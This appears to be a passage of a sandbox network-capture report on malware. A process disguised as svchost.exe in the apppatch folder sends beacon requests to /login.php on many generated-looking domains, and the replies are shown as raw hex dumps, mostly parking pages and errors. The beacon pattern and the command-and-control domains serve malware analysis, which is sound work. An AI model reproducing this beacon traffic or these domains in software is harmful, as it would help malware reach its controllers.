                                                                                                                                                                                                          Data Ascii: <html><head><title>410 Gone</title></head><body><center><h1>410 Gone</h1></center><hr><center>openresty</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          25192.168.2.56351764.225.91.73805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.217880011 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: galynuh.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.834067106 CEST816INHTTP/1.1 200 OK
                                                                                                                                                                                                          server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                          date: Fri, 23 Aug 2024 16:43:06 GMT
                                                                                                                                                                                                          content-type: text/html
                                                                                                                                                                                                          content-length: 593
                                                                                                                                                                                                          last-modified: Wed, 22 Feb 2023 21:25:52 GMT
                                                                                                                                                                                                          etag: "63f68860-251"
                                                                                                                                                                                                          accept-ranges: bytes
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 35 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 6e 6f 6a 73 2e 64 6f 6d 61 69 6e 63 6e 74 72 6f 6c 2e 63 6f 6d 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 6c 65 74 20 72 65 74 72 69 65 73 20 3d 20 33 2c 20 69 6e 74 65 72 76 61 6c 20 3d 20 31 30 30 30 3b 0a 20 20 20 20 28 66 75 6e 63 74 69 6f 6e 20 72 65 74 72 79 28 29 20 7b 0a 20 20 20 20 20 20 66 65 74 63 68 28 22 68 74 74 70 73 3a 2f 2f 64 6f 6d 61 69 6e 63 6e 74 72 6f 6c 2e 63 6f 6d 2f 3f 6f 72 69 67 68 6f 73 74 3d 22 20 2b 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 72 65 73 70 6f 6e 73 65 20 3d 3e 20 72 65 73 70 6f 6e 73 65 2e 6a 73 6f 6e 28 29 29 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 64 61 74 61 20 3d 3e 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head> <meta http-equiv="refresh" content="5;url=https://nojs.domaincntrol.com" /></head><body> <script> let retries = 3, interval = 1000; (function retry() { fetch("https://domaincntrol.com/?orighost=" + window.location.href) .then(response => response.json()) .then(data => window.location.href = data) .catch(error => { if (retries > 0) { retries--; setTimeout(retry, interval); } else { console.error("Error: ", error); } }); })(); </script></body></html>


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          26192.168.2.56351844.221.84.105805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.448183060 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gadyciz.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.931480885 CEST409INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:43:06 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=d106e65ece3c227125fd2b7f88318a22|8.46.123.33|1724431386|1724431386|0|1|0; path=/; domain=.gadyciz.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Set-Cookie: snkz=8.46.123.33; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          27192.168.2.563519103.224.212.210805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.638278008 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lyxynyx.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:43:07.276716948 CEST340INHTTP/1.1 302 Found
                                                                                                                                                                                                          date: Fri, 23 Aug 2024 16:43:07 GMT
                                                                                                                                                                                                          server: Apache
                                                                                                                                                                                                          set-cookie: __tad=1724431387.5010053; expires=Mon, 21-Aug-2034 16:43:07 GMT; Max-Age=315360000
                                                                                                                                                                                                          location: http://ww25.lyxynyx.com/login.php?subid1=20240824-0243-071d-8c4b-3f42cf5256c3
                                                                                                                                                                                                          content-length: 2
                                                                                                                                                                                                          content-type: text/html; charset=UTF-8
                                                                                                                                                                                                          connection: close
                                                                                                                                                                                                          Data Raw: 0a 0a
                                                                                                                                                                                                          Data Ascii:


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          28192.168.2.56352015.197.240.20805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.703964949 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qexyhuv.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          29192.168.2.563521154.85.183.50805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.808324099 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qegyval.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:43:07.701025009 CEST307INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:43:07 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 138
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          ETag: "663ee226-8a"
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                                                                                                                                                                                                          Aug 23, 2024 18:43:07.702388048 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qegyval.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.050574064 CEST307INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:43:07 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 138
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          ETag: "663ee226-8a"
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          30192.168.2.563522103.224.182.252805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.850079060 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: vofycot.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:43:07.468786955 CEST338INHTTP/1.1 302 Found
                                                                                                                                                                                                          date: Fri, 23 Aug 2024 16:43:07 GMT
                                                                                                                                                                                                          server: Apache
                                                                                                                                                                                                          set-cookie: __tad=1724431387.3029143; expires=Mon, 21-Aug-2034 16:43:07 GMT; Max-Age=315360000
                                                                                                                                                                                                          location: http://ww16.vofycot.com/login.php?sub1=20240824-0243-077d-8f61-d4c58a818681
                                                                                                                                                                                                          content-length: 2
                                                                                                                                                                                                          content-type: text/html; charset=UTF-8
                                                                                                                                                                                                          connection: close
                                                                                                                                                                                                          Data Raw: 0a 0a
                                                                                                                                                                                                          Data Ascii:


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          31192.168.2.563524199.59.243.226805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:43:07.630143881 CEST356OUTGET /login.php?subid1=20240824-0243-071d-8c4b-3f42cf5256c3 HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: ww25.lyxynyx.com
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          Cookie: __tad=1724431387.5010053
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.112518072 CEST1236INHTTP/1.1 200 OK
                                                                                                                                                                                                          date: Fri, 23 Aug 2024 16:43:07 GMT
                                                                                                                                                                                                          content-type: text/html; charset=utf-8
                                                                                                                                                                                                          content-length: 1226
                                                                                                                                                                                                          x-request-id: 57775652-f38d-471f-b828-6950ec7437ed
                                                                                                                                                                                                          cache-control: no-store, max-age=0
                                                                                                                                                                                                          accept-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                          critical-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                          vary: sec-ch-prefers-color-scheme
                                                                                                                                                                                                          x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_ID/eQIyjmFQ+IazXrz3lYV0cNFXDz//4K/74t5tgDqiHL6ibc3tuSRWMWt9ZGnKO5rZgpx/EVQeEcpcOFNHDfA==
                                                                                                                                                                                                          set-cookie: parking_session=57775652-f38d-471f-b828-6950ec7437ed; expires=Fri, 23 Aug 2024 16:58:08 GMT; path=/
                                                                                                                                                                                                          Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 49 44 2f 65 51 49 79 6a 6d 46 51 2b 49 61 7a 58 72 7a 33 6c 59 56 30 63 4e 46 58 44 7a 2f 2f 34 4b 2f 37 34 74 35 74 67 44 71 69 48 4c 36 69 62 63 33 74 75 53 52 57 4d 57 74 39 5a 47 6e 4b 4f 35 72 5a 67 70 78 2f 45 56 51 65 45 63 70 63 4f 46 4e 48 44 66 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_ID/eQIyjmFQ+IazXrz3lYV0cNFXDz//4K/74t5tgDqiHL6ibc3tuSRWMWt9ZGnKO5rZgpx/EVQeEcpcOFNHDfA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="pr
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.112626076 CEST867INData Raw: 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65
                                                                                                                                                                                                          Data Ascii: econnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNTc3NzU2NTItZjM4ZC00NzFmLWI4MjgtNjk1MGVjNzQzN2VkIiwicGFnZV90aW1lIjoxNzI0NDMxMzg4LCJwYWdlX3VybCI6I


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          32192.168.2.56352564.190.63.136805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.065329075 CEST354OUTGET /login.php?sub1=20240824-0243-077d-8f61-d4c58a818681 HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: ww16.vofycot.com
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          Cookie: __tad=1724431387.3029143
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.740223885 CEST1236INHTTP/1.1 200 OK
                                                                                                                                                                                                          date: Fri, 23 Aug 2024 16:43:08 GMT
                                                                                                                                                                                                          content-type: text/html; charset=UTF-8
                                                                                                                                                                                                          transfer-encoding: chunked
                                                                                                                                                                                                          vary: Accept-Encoding
                                                                                                                                                                                                          expires: Mon, 26 Jul 1997 05:00:00 GMT
                                                                                                                                                                                                          cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
                                                                                                                                                                                                          pragma: no-cache
                                                                                                                                                                                                          x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_EekGA+oH2Ihj8JyBw+KG2z5Iv4aiTUbXmgO3RFg+rVbRZBR/vSc/Sf8ZZmNvQDQyGBVuP3lHgFeIjMo+Bhpffw==
                                                                                                                                                                                                          last-modified: Fri, 23 Aug 2024 16:43:08 GMT
                                                                                                                                                                                                          x-cache-miss-from: parking-89b87dbbb-6swmv
                                                                                                                                                                                                          server: Parking/1.0
                                                                                                                                                                                                          Data Raw: 32 45 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 6e 79 6c 57 77 32 76 4c 59 34 68 55 6e 39 77 30 36 7a 51 4b 62 68 4b 42 66 76 6a 46 55 43 73 64 46 6c 62 36 54 64 51 68 78 62 39 52 58 57 58 75 49 34 74 33 31 63 2b 6f 38 66 59 4f 76 2f 73 38 71 31 4c 47 50 67 61 33 44 45 31 4c 2f 74 48 55 34 4c 45 4e 4d 43 41 77 45 41 41 51 3d 3d 5f 45 65 6b 47 41 2b 6f 48 32 49 68 6a 38 4a 79 42 77 2b 4b 47 32 7a 35 49 76 34 61 69 54 55 62 58 6d 67 4f 33 52 46 67 2b 72 56 62 52 5a 42 52 2f 76 53 63 2f 53 66 38 5a 5a 6d 4e 76 51 44 51 79 47 42 56 75 50 33 6c 48 67 46 65 49 6a 4d 6f 2b 42 68 70 66 66 77 3d 3d 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 76 6f 66 79 63 6f 74 2e 63 6f 6d 26 6e 62 73 70 3b 2d 26 6e 62 73 70 3b 54 68 69 73 20 77 65 62 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: 2E4<!DOCTYPE html><html lang="en" data-adblockkey=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_EekGA+oH2Ihj8JyBw+KG2z5Iv4aiTUbXmgO3RFg+rVbRZBR/vSc/Sf8ZZmNvQDQyGBVuP3lHgFeIjMo+Bhpffw==><head><meta charset="utf-8"><title>vofycot.com&nbsp;-&nbsp;This website is for sale!&nbsp;-&nbsp;vofycot Resources and Information.</title><meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0"><meta name="description" content="This website is for sale! vofycot.com is your first and best
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.740251064 CEST1236INData Raw: 20 73 6f 75 72 63 65 20 66 6f 72 20 61 6c 6c 20 6f 66 20 74 68 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 79 6f 75 e2 80 99 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 2e 20 46 72 6f 6d 20 67 65 6e 65 72 61 6c 20 74 6f 70 69 63 73 20 74 6f 20 6d 6f
                                                                                                                                                                                                          Data Ascii: source for all of the information youre looking for. From general topics to more of what you would expect to find here, vofycot.com ha595s it all. We hope you find what you are searching for!"><link rel="icon" type="ima
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.740272045 CEST1236INData Raw: 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 61 75 64 69 6f 3a 6e 6f 74 28 5b 63 6f 6e 74 72 6f 6c 73 5d 29 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 68 65 69 67 68 74 3a 30 7d 69 6d 67 7b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e 6f 6e 65 7d
                                                                                                                                                                                                          Data Ascii: ay:inline-block}audio:not([controls]){display:none;height:0}img{border-style:none}svg:not(:root){overflow:hidden}button,input,optgroup,select,textarea{font-family:sans-serif;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visibl
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.740286112 CEST1236INData Raw: 6e 63 65 3a 62 75 74 74 6f 6e 3b 66 6f 6e 74 3a 69 6e 68 65 72 69 74 7d 64 65 74 61 69 6c 73 2c 6d 65 6e 75 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 73 75 6d 6d 61 72 79 7b 64 69 73 70 6c 61 79 3a 6c 69 73 74 2d 69 74 65 6d 7d 63 61 6e 76 61
                                                                                                                                                                                                          Data Ascii: nce:button;font:inherit}details,menu{display:block}summary{display:list-item}canvas{display:inline-block}template{display:none}[hidden]{display:none}.announcement{background:#0e162e;text-align:center;padding:0 5px}.announcement p{color:#848484
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.740295887 CEST1236INData Raw: 6c 61 69 6d 65 72 20 61 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 70 78 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 64 69 73 63 6c 61 69 6d 65 72 5f 5f 63 6f 6e 74 65 6e 74 2d 74 65 78 74 7b 63 6f 6c 6f 72 3a 23 39 34 39 34 39 34 7d 2e 63 6f 6e 74 61 69 6e
                                                                                                                                                                                                          Data Ascii: laimer a{font-size:10px}.container-disclaimer__content-text{color:#949494}.container-disclaimer a{color:#949494}.container-imprint{text-align:center}.container-imprint__content{display:inline-block}.container-imprint__content-text,.container-i
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.740309954 CEST847INData Raw: 74 69 76 65 2d 74 65 78 74 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 35 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 70 78 3b 66 6f 6e 74 2d
                                                                                                                                                                                                          Data Ascii: tive-text{margin-top:10px;margin-right:0px;margin-bottom:5px;margin-left:0px;font-size:larger}.container-cookie-message a{color:#fff}.cookie-modal-window{position:fixed;background-color:rgba(200,200,200,.75);top:0;right:0;bottom:0;left:0;-webk
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.740322113 CEST1236INData Raw: 31 30 36 32 0d 0a 73 61 62 6c 65 64 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7a 2d 69 6e 64 65 78 3a 2d 39 39 39 7d 2e 62 74 6e 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 73 6f 6c 69
                                                                                                                                                                                                          Data Ascii: 1062sabled{display:none;z-index:-999}.btn{display:inline-block;border-style:solid;border-radius:5px;padding:15px 25px;text-align:center;text-decoration:none;cursor:pointer;margin:5px;transition:.3s}.btn--success{background-color:#218838;bord
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.740340948 CEST1236INData Raw: 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 68 65 69 67 68 74 3a 32 36 70 78 3b 77 69 64 74 68 3a 32 36 70 78 3b 6c 65 66 74 3a 34 70 78 3b 62 6f 74 74 6f 6d 3a 34 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72
                                                                                                                                                                                                          Data Ascii: on:absolute;content:"";height:26px;width:26px;left:4px;bottom:4px;background-color:#fff;-webkit-transition:.4s;transition:.4s}.switch__slider--round{border-radius:34px}.switch__slider--round:before{border-radius:50%}input:checked+.switch__slid
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.740350962 CEST1236INData Raw: 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6e 74 65 6e 74 5f 5f 6c 65 66 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 22 2f 2f 69 6d 67 2e 73 65 64 6f 70 61 72 6b 69 6e 67 2e 63 6f 6d 2f 74 65 6d 70 6c 61 74 65 73 2f 62 67 2f 61 72 72 6f 77 73 2e
                                                                                                                                                                                                          Data Ascii: container-content__left{background:url("//img.sedoparking.com/templates/bg/arrows.png") #0e162e no-repeat top left;background-size:94% 640px;flex-grow:1;position:inherit;top:90px;overflow:hidden;z-index:-1}.container-content__right{background:
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.740394115 CEST1236INData Raw: 3b 6d 61 72 67 69 6e 3a 2e 31 31 65 6d 20 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 38 70 78 3b 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 74 77 6f 2d 74 69 65 72 2d 61 64 73 2d 6c 69 73 74 5f 5f 6c 69 73 74 2d 65 6c 65 6d 65 6e 74 2d 6c 69 6e 6b 7b
